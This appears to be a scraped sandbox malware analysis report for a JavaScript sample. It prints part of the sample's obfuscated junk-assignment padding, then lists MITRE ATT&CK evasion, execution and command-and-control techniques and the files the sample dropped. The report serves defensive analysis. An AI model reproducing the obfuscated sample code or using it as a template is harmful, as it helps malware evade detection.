1011	dwfngm = "S";
1012	dwfngm = "Y";
1013	dwfngm = "f";
1014	dwfngm = "V";
1015	dwfngm = "M";
1016	dwfngm = "g";
1017	dwfngm = "k";
1018	dwfngm = "x";
1019	dwfngm = "d";
1020	dwfngm = "V";
1021	dwfngm = "W";
1022	dwfngm = "s";
1023	dwfngm = "G";
1024	dwfngm = "l";
1025	dwfngm = "F";
1026	dwfngm = "D";
1027	dwfngm = "J";
1028	dwfngm = "j";
1029	wnbcdb = "x";
1030	wnbcdb = "Z";
1031	wnbcdb = "j";
1032	wnbcdb = "r";
1033	wnbcdb = "b";
1034	wnbcdb = "d";
1035	wnbcdb = "p";
1036	wnbcdb = "n";
1037	wnbcdb = "f";
1038	wnbcdb = "s";
1039	wnbcdb = "K";
1040	wnbcdb = "s";
1041	wnbcdb = "N";
1042	wnbcdb = "M";
1043	wnbcdb = "m";
1044	wnbcdb = "h";
1045	wnbcdb = "C";
1046	wnbcdb = "M";
1047	wnbcdb = "o";
1048	wnbcdb = "c";
1049	wnbcdb = "k";
1050	wnbcdb = "f";
1051	wnbcdb = "C";
1052	wnbcdb = "Z";
1053	wnbcdb = "i";
1054	wnbcdb = "N";
1055	wnbcdb = "J";
1056	wnbcdb = "N";
1057	wnbcdb = "j";
1058	wnbcdb = "E";
1059	wnbcdb = "A";
1060	wnbcdb = "B";
1061	wnbcdb = "f";
1062	wnbcdb = "W";
1063	wnbcdb = "u";
1064	wnbcdb = "Z";
1065	wnbcdb = "t";
1066	wnbcdb = "q";
1067	wnbcdb = "R";
1068	wnbcdb = "e";
1069	wnbcdb = "m";
1070	wnbcdb = "2";
1071	eahbofwh = "H";
1072	eahbofwh = "Y";
1073	eahbofwh = "i";
1074	eahbofwh = "L";
1075	eahbofwh = "L";
1076	eahbofwh = "v";
1077	eahbofwh = "H";
1078	eahbofwh = "A";
1079	eahbofwh = "s";
1080	eahbofwh = "Z";
1081	eahbofwh = "e";
1082	eahbofwh = "K";
1083	eahbofwh = "v";
1084	eahbofwh = "R";
1085	eahbofwh = "O";
1086	eahbofwh = "K";
1087	eahbofwh = "y";
1088	eahbofwh = "p";
1089	eahbofwh = "G";
1090	eahbofwh = "D";
1091	eahbofwh = "O";
1092	eahbofwh = "M";
1093	eahbofwh = "v";
1094	eahbofwh = "f";
1095	eahbofwh = "I";
1096	eahbofwh = "g";
1097	eahbofwh = "Z";
1098	eahbofwh = "q";
1099	eahbofwh = "C";
1100	eahbofwh = "i";
1101	eahbofwh = "h";
1102	eahbofwh = "R";
1103	eahbofwh = "K";
1104	eahbofwh = "_";
1105	exmhkihat = "h";
1106	exmhkihat = "k";
1107	exmhkihat = "X";
1108	exmhkihat = "c";
1109	exmhkihat = "q";
1110	exmhkihat = "f";
1111	exmhkihat = "Z";
1112	exmhkihat = "z";
1113	exmhkihat = "m";
1114	exmhkihat = "k";
1115	exmhkihat = "E";
1116	exmhkihat = "Q";
1117	exmhkihat = "d";
1118	exmhkihat = "B";
1119	exmhkihat = "K";
1120	exmhkihat = "k";
1121	exmhkihat = "C";
1122	exmhkihat = "K";
1123	exmhkihat = "8";
1124	gcpyhbqe = "i";
1125	gcpyhbqe = "J";
1126	gcpyhbqe = "u";
1127	gcpyhbqe = "y";
1128	gcpyhbqe = "t";
1129	gcpyhbqe = "M";
1130	gcpyhbqe = "r";
1131	gcpyhbqe = "W";
1132	gcpyhbqe = "d";
1133	gcpyhbqe = "x";
1134	gcpyhbqe = "n";
1135	gcpyhbqe = "z";
1136	gcpyhbqe = "t";
1137	gcpyhbqe = "f";
1138	gcpyhbqe = "d";
1139	gcpyhbqe = "x";
1140	gcpyhbqe = "i";
1141	gcpyhbqe = "P";
1142	gcpyhbqe = "T";
1143	euiboiddd = "N";
1144	euiboiddd = "Q";
1145	euiboiddd = "A";
1146	euiboiddd = "v";
1147	euiboiddd = "W";
1148	euiboiddd = "W";
1149	euiboiddd = "k";
1150	euiboiddd = "P";
1151	euiboiddd = "O";
1152	euiboiddd = "f";
1153	euiboiddd = "S";
1154	euiboiddd = "G";
1155	euiboiddd = "V";
1156	euiboiddd = "g";
1157	euiboiddd = "n";
1158	euiboiddd = "s";
1159	euiboiddd = "o";
1160	euiboiddd = "T";
1161	euiboiddd = "P";
1162	euiboiddd = "S";
1163	euiboiddd = "F";
1164	euiboiddd = "w";
1165	euiboiddd = "C";
1166	euiboiddd = "X";
1167	euiboiddd = "q";
1168	fxylm = "l";
1169	fxylm = "i";
1170	fxylm = "U";
1171	fxylm = "u";
1172	fxylm = "n";
1173	fxylm = "o";
1174	fxylm = "H";
1175	fxylm = "a";
1176	fxylm = "P";
1177	fxylm = "i";
1178	fxylm = "X";
1179	fxylm = "a";
1180	fxylm = "t";
1181	fxylm = "r";
1182	fxylm = "A";
1183	fxylm = "m";
1184	fxylm = "d";
1185	fxylm = "P";
1186	fxylm = "a";
1187	fxylm = "N";
1188	fxylm = "b";
1189	fxylm = "S";
1190	fxylm = "j";
1191	fxylm = "b";
1192	nwqirmhv = "e";
1193	nwqirmhv = "P";
1194	nwqirmhv = "e";
1195	nwqirmhv = "D";
1196	nwqirmhv = "e";
1197	nwqirmhv = "K";
1198	nwqirmhv = "K";
1199	nwqirmhv = "f";
1200	nwqirmhv = "K";
1201	nwqirmhv = "j";
1202	nwqirmhv = "h";
1203	nwqirmhv = "X";
1204	nwqirmhv = "N";
1205	nwqirmhv = "a";
1206	nwqirmhv = "y";
1207	nwqirmhv = "B";
1208	nwqirmhv = "s";
1209	nwqirmhv = "f";
1210	nwqirmhv = "u";
1211	nwqirmhv = "J";
1212	nwqirmhv = "Z";
1213	nwqirmhv = "C";
1214	nwqirmhv = "y";
1215	nwqirmhv = "t";
1216	nwqirmhv = "o";
1217	nwqirmhv = "Z";
1218	nwqirmhv = "B";
1219	nwqirmhv = "O";
1220	nwqirmhv = "r";
1221	nwqirmhv = "N";
1222	nwqirmhv = "r";
1223	nwqirmhv = "C";
1224	nwqirmhv = "I";
1225	nwqirmhv = "R";
1226	nwqirmhv = "r";
1227	nwqirmhv = "I";
1228	nwqirmhv = "e";
1229	nwqirmhv = "J";
1230	nwqirmhv = "f";
1231	gnbpv = "y";
1232	gnbpv = "v";
1233	gnbpv = "M";
1234	gnbpv = "N";
1235	gnbpv = "N";
1236	gnbpv = "Y";
1237	gnbpv = "Z";
1238	gnbpv = "E";
1239	gnbpv = "q";
1240	gnbpv = "i";
1241	gnbpv = "C";
1242	gnbpv = "w";
1243	gnbpv = "r";
1244	gnbpv = "G";
1245	gnbpv = "L";
1246	gnbpv = "d";
1247	gnbpv = "L";
1248	gnbpv = "z";
1249	gnbpv = "R";
1250	gnbpv = "P";
1251	gnbpv = "B";
1252	gnbpv = "n";
1253	gnbpv = "R";
1254	gnbpv = "b";
1255	gnbpv = "F";
1256	gnbpv = "7";
1257	eqeix = "H";
1258	hraupvagj = "q";
1259	hraupvagj = "t";
1260	hraupvagj = "U";
1261	hraupvagj = "d";
1262	hraupvagj = "e";
1263	hraupvagj = "T";
1264	hraupvagj = "P";
1265	hraupvagj = "W";
1266	hraupvagj = "p";
1267	hraupvagj = "k";
1268	hraupvagj = "w";
1269	hraupvagj = "a";
1270	hraupvagj = "t";
1271	hraupvagj = "I";
1272	hraupvagj = "b";
1273	hraupvagj = "B";
1274	hraupvagj = "a";
1275	hraupvagj = "Y";
1276	hraupvagj = "W";
1277	hraupvagj = "q";
1278	hraupvagj = "o";
1279	hraupvagj = "C";
1280	hraupvagj = "x";
1281	hraupvagj = "v";
1282	jpwkyryyl = "P";
1283	jpwkyryyl = "q";
1284	jpwkyryyl = "z";
1285	jpwkyryyl = "K";
1286	jpwkyryyl = "V";
1287	jpwkyryyl = "t";
1288	jpwkyryyl = "y";
1289	jpwkyryyl = "f";
1290	jpwkyryyl = "e";
1291	jpwkyryyl = "C";
1292	jpwkyryyl = "Q";
1293	jpwkyryyl = "E";
1294	jpwkyryyl = "X";
1295	jpwkyryyl = "I";
1296	jpwkyryyl = "A";
1297	jpwkyryyl = "h";
1298	jpwkyryyl = "h";
1299	jpwkyryyl = "m";
1300	jpwkyryyl = "W";
1301	jpwkyryyl = "X";
1302	jpwkyryyl = "Y";
1303	jpwkyryyl = "H";
1304	jpwkyryyl = "U";
1305	jpwkyryyl = "I";
1306	jpwkyryyl = "N";
1307	jpwkyryyl = "p";
1308	jpwkyryyl = "y";
1309	jpwkyryyl = "m";
1310	jpwkyryyl = "n";
1311	jpwkyryyl = "M";
1312	jpwkyryyl = "C";
1313	jpwkyryyl = "i";
1314	jpwkyryyl = "I";
1315	jpwkyryyl = "%";
1316	lwmmrzczs = "u";
1317	lwmmrzczs = "m";
1318	lwmmrzczs = "i";
1319	lwmmrzczs = "h";
1320	lwmmrzczs = "Z";
1321	lwmmrzczs = " ";
1322	iefgrbxww = "b";
1323	iefgrbxww = "G";
1324	iefgrbxww = "H";
1325	iefgrbxww = "a";
1326	iefgrbxww = "Y";
1327	iefgrbxww = "d";
1328	iefgrbxww = "i";
1329	iefgrbxww = "v";
1330	iefgrbxww = "y";
1331	iefgrbxww = "E";
1332	iefgrbxww = "T";
1333	iefgrbxww = "f";
1334	iefgrbxww = "N";
1335	iefgrbxww = "i";
1336	iefgrbxww = "y";
1337	iefgrbxww = "L";
1338	iefgrbxww = "Y";
1339	iefgrbxww = "u";
1340	iefgrbxww = "0";
1341	gjnxfrkxh = "w";
1342	hnkoyxxjx = "o";
1343	hnkoyxxjx = "I";
1344	hnkoyxxjx = "S";
1345	hnkoyxxjx = "V";
1346	hnkoyxxjx = "F";
1347	hnkoyxxjx = "h";
1348	hnkoyxxjx = "o";
1349	hnkoyxxjx = "q";
1350	hnkoyxxjx = "G";
1351	hnkoyxxjx = "q";
1352	hnkoyxxjx = "K";
1353	hnkoyxxjx = "k";
1354	oskxvhz = "J";
1355	oskxvhz = "X";
1356	oskxvhz = "y";
1357	oskxvhz = "O";
1358	oskxvhz = "V";
1359	oskxvhz = "x";
1360	oskxvhz = "R";
1361	oskxvhz = "h";
1362	oskxvhz = "i";
1363	oskxvhz = "U";
1364	oskxvhz = "J";
1365	oskxvhz = "i";
1366	oskxvhz = "f";
1367	oskxvhz = "k";
1368	oskxvhz = "R";
1369	oskxvhz = "F";
1370	dbagpi = "K";
1371	dbagpi = "U";
1372	dbagpi = "e";
1373	dbagpi = "e";
1374	dbagpi = "H";
1375	dbagpi = "L";
1376	dbagpi = "L";
1377	dbagpi = "R";
1378	dbagpi = "w";
1379	dbagpi = "z";
1380	dbagpi = "i";
1381	dbagpi = "Y";
1382	dbagpi = "B";
1383	dbagpi = "C";
1384	dbagpi = "I";
1385	dbagpi = "z";
1386	dbagpi = "x";
1387	dbagpi = "v";
1388	dbagpi = "w";
1389	dbagpi = "G";
1390	dbagpi = "o";
1391	dbagpi = "w";
1392	dbagpi = "J";
1393	dbagpi = "T";
1394	dbagpi = "o";
1395	dbagpi = "X";
1396	dbagpi = "u";
1397	dbagpi = "Q";
1398	dbagpi = "c";
1399	dbagpi = "K";
1400	dbagpi = "A";
1401	dbagpi = "H";
1402	dbagpi = "v";
1403	dbagpi = "H";
1404	dbagpi = "c";
1405	dbagpi = "v";
1406	dbagpi = "U";
1407	dbagpi = "U";
1408	dbagpi = "D";
1409	dbagpi = "B";
1410	dbagpi = "B";
1411	dbagpi = "x";
1412	dbagpi = "\\";
1413	mcsyiotn = "g";
1414	mcsyiotn = "v";
1415	mcsyiotn = "c";
1416	mcsyiotn = "d";
1417	mcsyiotn = "s";
1418	mcsyiotn = "j";
1419	mcsyiotn = "x";
1420	mcsyiotn = "Z";
1421	mcsyiotn = "O";
1422	mcsyiotn = "P";
1423	mcsyiotn = "h";
1424	mcsyiotn = "b";
1425	mcsyiotn = "p";
1426	mcsyiotn = "J";
1427	mcsyiotn = "j";
1428	mcsyiotn = "M";
1429	mcsyiotn = "h";
1430	mcsyiotn = "a";
1431	mcsyiotn = "i";
1432	mcsyiotn = "k";
1433	mcsyiotn = "a";
1434	mcsyiotn = "S";
1435	xxrdozvfs = "a";
1436	xxrdozvfs = "V";
1437	xxrdozvfs = "e";
1438	xxrdozvfs = "z";
1439	xxrdozvfs = "J";
1440	xxrdozvfs = "S";
1441	xxrdozvfs = "k";
1442	xxrdozvfs = "U";
1443	xxrdozvfs = "m";
1444	xxrdozvfs = "i";
1445	xxrdozvfs = "c";
1446	xxrdozvfs = "h";
1447	qcadgy = "U";
1448	qcadgy = "M";
1449	qcadgy = "k";
1450	qcadgy = "n";
1451	qcadgy = "b";
1452	qcadgy = "M";
1453	qcadgy = "E";
1454	qcadgy = "F";
1455	qcadgy = "n";
1456	qcadgy = "j";
1457	qcadgy = "I";
1458	qcadgy = "D";
1459	qcadgy = "e";
1460	qcadgy = "w";
1461	qcadgy = "z";
1462	qcadgy = "B";
1463	qcadgy = "D";
1464	qcadgy = "g";
1465	qcadgy = "N";
1466	qcadgy = "i";
1467	qcadgy = "p";
1468	qcadgy = "w";
1469	qcadgy = "H";
1470	qcadgy = "k";
1471	qcadgy = "W";
1472	qcadgy = "D";
1473	qcadgy = "d";
1474	oxxwwiofu = "x";
1475	oxxwwiofu = "I";
1476	oxxwwiofu = "K";
1477	oxxwwiofu = "m";
1478	oxxwwiofu = "f";
1479	oxxwwiofu = "W";
1480	oxxwwiofu = "i";
1481	oxxwwiofu = "w";
1482	oxxwwiofu = "k";
1483	oxxwwiofu = "t";
1484	oxxwwiofu = "u";
1485	oxxwwiofu = "D";
1486	oxxwwiofu = "B";
1487	oxxwwiofu = "g";
1488	oxxwwiofu = "n";
1489	oxxwwiofu = "F";
1490	oxxwwiofu = "F";
1491	oxxwwiofu = "L";
1492	oxxwwiofu = "U";
1493	oxxwwiofu = "S";
1494	oxxwwiofu = "k";
1495	oxxwwiofu = "o";
1496	oxxwwiofu = "W";
1497	oxxwwiofu = "d";
1498	oxxwwiofu = "v";
1499	oxxwwiofu = "C";
1500	oxxwwiofu = "x";
1501	oxxwwiofu = "F";
1502	oxxwwiofu = "r";
1503	oxxwwiofu = "L";
1504	oxxwwiofu = "f";
1505	oxxwwiofu = "K";
1506	oxxwwiofu = "l";
1507	oxxwwiofu = "c";
1508	oxxwwiofu = "C";
1509	oxxwwiofu = "q";
1510	oxxwwiofu = "K";
1511	oxxwwiofu = "L";
1512	oxxwwiofu = "t";
1513	oxxwwiofu = "s";
1514	oxxwwiofu = "W";
1515	jxvxfka = "y";
1516	jxvxfka = "C";
1517	jxvxfka = "P";
1518	jxvxfka = "x";
1519	jxvxfka = "z";
1520	jxvxfka = "e";
1521	jxvxfka = "G";
1522	jxvxfka = "y";
1523	jxvxfka = "z";
1524	jxvxfka = "Y";
1525	jxvxfka = "m";
1526	jxvxfka = "z";
1527	jxvxfka = ":";
1528	wdtrruj = "t";
1529	wdtrruj = "U";
1530	wdtrruj = "L";
1531	wdtrruj = "H";
1532	wdtrruj = "I";
1533	wdtrruj = "h";
1534	wdtrruj = "w";
1535	wdtrruj = "b";
1536	wdtrruj = "U";
1537	wdtrruj = "T";
1538	wdtrruj = "Q";
1539	wdtrruj = "H";
1540	wdtrruj = "o";
1541	wdtrruj = "f";
1542	wdtrruj = "p";
1543	wdtrruj = "c";
1544	wdtrruj = "n";
1545	wdtrruj = "Z";
1546	wdtrruj = "s";
1547	wdtrruj = "J";
1548	wdtrruj = "W";
1549	wdtrruj = "n";
1550	wdtrruj = "y";
1551	wdtrruj = "y";
1552	wdtrruj = "e";
1553	wdtrruj = "m";
1554	wdtrruj = "u";
1555	wdtrruj = "b";
1556	wdtrruj = "U";
1557	ieklqbp ( );	ieklqbp() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 2878822876987216987.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\4416901a-8b87-4457-9616-5124bedb674a.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF532297.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\f81b6164-2a37-4876-87a1-bc16deb6d6e7.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Windows Analysis Report
2878822876987216987.js